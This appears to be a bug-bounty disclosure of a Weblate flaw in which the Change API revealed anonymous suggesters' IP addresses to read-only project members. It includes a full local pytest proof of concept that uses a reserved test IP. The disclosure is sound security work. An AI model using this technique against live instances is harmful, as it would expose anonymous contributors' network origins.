Anonymous Translation Suggestion IP Address Exposure Through Change API
The Change API returned the IP address stored for an anonymous translation suggestion to an authenticated user who only had read access to the project, while the regular change-history page hid the same address. A read-only project member could therefore learn the network origin of anonymous contributors through the API.
- Fixed in 13 hours
- Disclosed after 31 days
Summary
I found that the IP address associated with an anonymous translation suggestion can be exposed through the Change API to an authenticated user with read-only access to the project. During local dynamic testing, I submitted an anonymous translation suggestion using synthetic data. The IP address was stored in Change.details.ip_address and returned by the Change API to a separate test account that had project read access but no editing permissions. However, the same IP address was not displayed in the regular change-history page. This behavior was reproduced locally against commit 5b328473a12d06dac172f9bd90f3ebeb3edef1f6. ##poc
Steps to Reproduce
Step 1 — Prepare the Weblate Test Environment
I tested the issue against the local Weblate source at commit:
5b328473a12d06dac172f9bd90f3ebeb3edef1f6
The environment used Django's test settings and a local PostgreSQL instance. No live Weblate server was contacted.
I configured PostgreSQL for the test runner using a temporary local database role named ubuntu, with LOGIN and CREATEDB privileges only. The role did not have superuser privileges.
I then ran the test using the following command:
CI_DB_USER=ubuntu DJANGO_SETTINGS_MODULE=weblate.settings_test \
uv run --offline --no-sync pytest -v -s \
/workspace/weblate-review/poc/test_anonymous_suggestion_ip_exposure.py
Pytest created a temporary test database and applied the required migrations.
Step 2 — Create a Read-Only Project Account
I created a synthetic account named poc_read_only_reader and granted it access to a public test project through a group with no assigned roles.
The test verified that the account could access the project but could not edit the project, manage its permissions, or edit translation units.
The relevant permission checks were:
self.assertTrue(reader.can_access_project(self.project))
self.assertEqual(reader_group.roles.count(), 0)
self.assertFalse(reader.has_perm("project.edit", self.project))
self.assertFalse(
reader.has_perm("project.permissions", self.project)
)
self.assertFalse(reader.has_perm("unit.edit", unit))
This established the intended test condition: an authenticated reader with project visibility but without editing permissions.
Step 3 — Submit an Anonymous Translation Suggestion
I logged out the test client and submitted a synthetic translation suggestion through Weblate's regular translation interface.
For this test, I used the reserved documentation IP address 192.0.2.10 rather than a real user's IP address.
The request was submitted with:
submit = self.client.post(
search_url,
form_data,
REMOTE_ADDR="192.0.2.10",
HTTP_USER_AGENT="Cue-local-PoC/1.0",
)
The submission returned HTTP 302.
I then retrieved the corresponding suggestion and change records and verified that the IP address had been stored in the change details:
suggestion = Suggestion.objects.get(
unit=unit,
target=POC_SUGGESTION,
)
change = Change.objects.get(
action=ActionEvents.SUGGESTION,
suggestion=suggestion,
)
self.assertEqual(
change.details.get("ip_address"),
"192.0.2.10",
)
Result: The anonymous suggestion was created, and its associated change record contained the synthetic IP address.
Step 4 — Retrieve the Change Through the Project Changes API
I authenticated a Django REST Framework APIClient as the read-only account and requested the first page of the project's changes API.
The relevant test code was:
api_client = APIClient()
api_client.force_authenticate(user=reader)
api_response = api_client.get(
reverse(
"api:project-changes",
kwargs={"slug": self.project.slug},
),
{"page": 1},
)
self.assertEqual(api_response.status_code, 200)
The test then located the specific change record in the API response and checked its details.ip_address field:
api_record = next(
(
item
for item in api_response.data["results"]
if item["id"] == change.pk
),
None,
)
self.assertIsNotNone(api_record)
self.assertEqual(
api_record["details"].get("ip_address"),
"192.0.2.10",
)
Actual result: The API returned HTTP 200 and included the synthetic IP address in the change record, even though the authenticated account had no project-editing permissions.
Step 5 — Compare the Regular Change-History Page
To determine whether the same information was displayed in the regular web interface, I requested the project's change-history page using the same read-only account.
The test code was:
html_client = Client()
html_client.force_login(reader)
html_response = html_client.get(
reverse(
"changes",
kwargs={"path": self.project.get_url_path()},
)
)
self.assertEqual(html_response.status_code, 200)
self.assertNotIn(
b"192.0.2.10",
html_response.content,
)
Actual result: The page returned HTTP 200, but its HTML response did not contain the synthetic IP address.
This demonstrated a difference between the API response and the regular change-history page for the same test account and change record.
Step 6 — Verify the Test Evidence
After correcting the test's permission-result handling, I reran the test.
The final result was:
1 passed
The test generated poc-evidence.json, which recorded the relevant results:
{
"result": "confirmed_in_local_test",
"target_commit": "5b328473a12d06dac172f9bd90f3ebeb3edef1f6",
"synthetic_ip": "192.0.2.10",
"reader": {
"can_access_project": true,
"has_any_group_roles": false,
"project_edit": false,
"project_permissions": false,
"unit_edit": false,
"superuser": false
},
"api": {
"status": 200,
"details_ip_address": "192.0.2.10"
},
"html": {
"status": 200,
"contains_synthetic_ip": false
},
"no_live_host_contacted": true,
"no_configured_credentials_used": true
}
Step 7 — Clean Up the Test Environment
After the successful test run:
Pytest removed the temporary test database.
I dropped the temporary PostgreSQL role created for the test.
The local PostgreSQL service remained online.
No live Weblate server, production database, real user IP address, or configured credentials were used.
Important Testing Limitation
The API request used DRF's in-process APIClient.force_authenticate. This exercised the API view, permission checks, serializer, and response data, but did not test session or token authentication over a network connection.
The results therefore confirm the behavior in the local source at the specified commit. I have not verified whether the same behavior is present in a live deployment. Full Code
from __future__ import annotations
import json
from pathlib import Path
from urllib.parse import urlencode
from django.test import Client
from django.urls import reverse
from rest_framework.test import APIClient
from weblate.api.tests import APIBaseTest
from weblate.auth.data import SELECTION_ALL, SELECTION_ALL_PUBLIC
from weblate.auth.models import Group, User
from weblate.trans.actions import ActionEvents
from weblate.trans.models import Change, Project, Suggestion, Unit
from weblate.utils.hash import hash_to_checksum
POC_IP = "192.0.2.10" # TEST-NET-1; reserved for documentation.
POC_SUGGESTION = "Welcome to the isolated Weblate PoC project\n"
POC_READER_USERNAME = "poc_read_only_reader"
class TestAnonymousSuggestionIPExposurePoC(APIBaseTest):
"""Exercise the anonymous-submit -> reader API -> HTML comparison flow."""
def test_reader_api_exposes_anonymous_suggestion_ip_but_html_hides_it(self) -> None:
# Make the fixture project explicitly public and suggestions enabled.
self.project.access_control = Project.ACCESS_PUBLIC
self.project.save(update_fields=["access_control"])
self.component.enable_suggestions = True
self.component.save(update_fields=["enable_suggestions"])
unit = Unit.objects.get(
translation__component=self.component,
translation__language_code="cs",
source="Hello, world!\n",
)
# Account B has project visibility only: its group has no roles.
reader_group = Group.objects.create(
name="PoC public read-only readers",
project_selection=SELECTION_ALL_PUBLIC,
language_selection=SELECTION_ALL,
)
reader = User.objects.create_user(
username=POC_READER_USERNAME,
email="[email protected]",
is_superuser=False,
)
reader.groups.set([reader_group])
reader.clear_permissions_cache()
self.assertTrue(reader.is_authenticated)
self.assertFalse(reader.is_superuser)
self.assertTrue(reader.can_access_project(self.project))
self.assertEqual(reader_group.roles.count(), 0)
self.assertFalse(reader.has_perm("project.edit", self.project))
self.assertFalse(reader.has_perm("project.permissions", self.project))
self.assertFalse(reader.has_perm("unit.edit", unit))
# Submit through the regular translation UI while logged out.
self.client.logout()
translate_url = unit.translation.get_translate_url()
search_url = f"{translate_url}?{urlencode({'q': unit.source})}"
page = self.client.get(search_url)
self.assertEqual(page.status_code, 200)
form_data = {
"unit_id": str(unit.pk),
"checksum": unit.checksum,
"contentsum": hash_to_checksum(unit.content_hash),
"translationsum": hash_to_checksum(unit.get_target_hash()),
"target_0": POC_SUGGESTION,
"review": "20",
"suggest": "yes",
"save-stay": "1",
"q": unit.source,
}
submit = self.client.post(
search_url,
form_data,
REMOTE_ADDR=POC_IP,
HTTP_USER_AGENT="Cue-local-PoC/1.0",
)
self.assertEqual(
submit.status_code,
302,
submit.content.decode(errors="replace"),
)
suggestion = Suggestion.objects.get(unit=unit, target=POC_SUGGESTION)
change = Change.objects.get(
action=ActionEvents.SUGGESTION,
suggestion=suggestion,
)
self.assertEqual(change.details.get("ip_address"), POC_IP)
# Authenticate the API request as Account B in-process; no token/cookie
# value is read, printed, or saved.
api_client = APIClient()
api_client.force_authenticate(user=reader)
api_response = api_client.get(
reverse("api:project-changes", kwargs={"slug": self.project.slug}),
{"page": 1},
)
self.assertEqual(
api_response.status_code,
200,
api_response.content.decode(errors="replace"),
)
api_record = next(
(
item
for item in api_response.data["results"]
if item["id"] == change.pk
),
None,
)
self.assertIsNotNone(
api_record,
"reader API response omitted the new suggestion change",
)
self.assertEqual(api_record["details"].get("ip_address"), POC_IP)
# Compare the project change-history HTML for the same reader.
html_client = Client()
html_client.force_login(reader)
html_response = html_client.get(
reverse("changes", kwargs={"path": self.project.get_url_path()})
)
self.assertEqual(html_response.status_code, 200)
self.assertNotIn(POC_IP.encode(), html_response.content)
evidence = {
"result": "confirmed_in_local_test",
"target_commit": "5b328473a12d06dac172f9bd90f3ebeb3edef1f6",
"test_project": self.project.slug,
"submission": "anonymous translation-UI POST",
"synthetic_ip": POC_IP,
"reader": {
"username": POC_READER_USERNAME,
"can_access_project": True,
"has_any_group_roles": reader.groups.filter(
roles__isnull=False
).exists(),
"project_edit": bool(reader.has_perm("project.edit", self.project)),
"project_permissions": bool(
reader.has_perm("project.permissions", self.project)
),
"unit_edit": bool(reader.has_perm("unit.edit", unit)),
"superuser": reader.is_superuser,
},
"api": {
"status": api_response.status_code,
"change_id": change.pk,
"details_ip_address": api_record["details"].get("ip_address"),
},
"html": {
"status": html_response.status_code,
"contains_synthetic_ip": POC_IP.encode() in html_response.content,
},
"no_live_host_contacted": True,
"no_configured_credentials_used": True,
}
evidence_path = Path(__file__).with_name("poc-evidence.json")
evidence_path.write_text(
json.dumps(evidence, indent=2) + "\n",
encoding="utf-8",
)
print("POC_EVIDENCE=" + json.dumps(evidence, sort_keys=True))
Impact
impact
If this behavior is present in deployed instances, users with read access to a project may be able to retrieve IP addresses associated with anonymous translation suggestions through the API, even though these addresses are not displayed in the regular interface. This could expose network-origin information associated with anonymous contributors.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the Change API serialises the full change details, including the stored IP address, without applying the same field-level filtering that the HTML change-history view uses.
Impact
If present in deployed instances, users with read access to a project could retrieve IP addresses of anonymous translation suggesters through the API, exposing network-origin information that the regular interface hides.
What the attacker needed
Authenticated account with project read access; project has suggestions enabled; anonymous suggestion exists in the project
How it was found
- Set up a local Weblate test environment with a public project and suggestions enabled.
- Create an authenticated account that can access the project but has no editing or permission-management roles.
- While logged out, submit an anonymous translation suggestion through the regular translation interface with a synthetic source IP.
- Confirm the suggestion's change record stores the IP address in its details.
- Authenticate as the read-only account and request the project's changes API, then check the change record's details for the IP address.
- Request the regular change-history page as the same account and confirm the IP address is absent from the HTML.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When someone submits a translation suggestion without logging in, the server records the IP address they came from. The report shows that a logged-in user who can only view a project could fetch that IP address through the project's API, even though the normal web page does not show it. This matters because it can reveal where anonymous contributors are connecting from.
What is Info disclosure?
Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.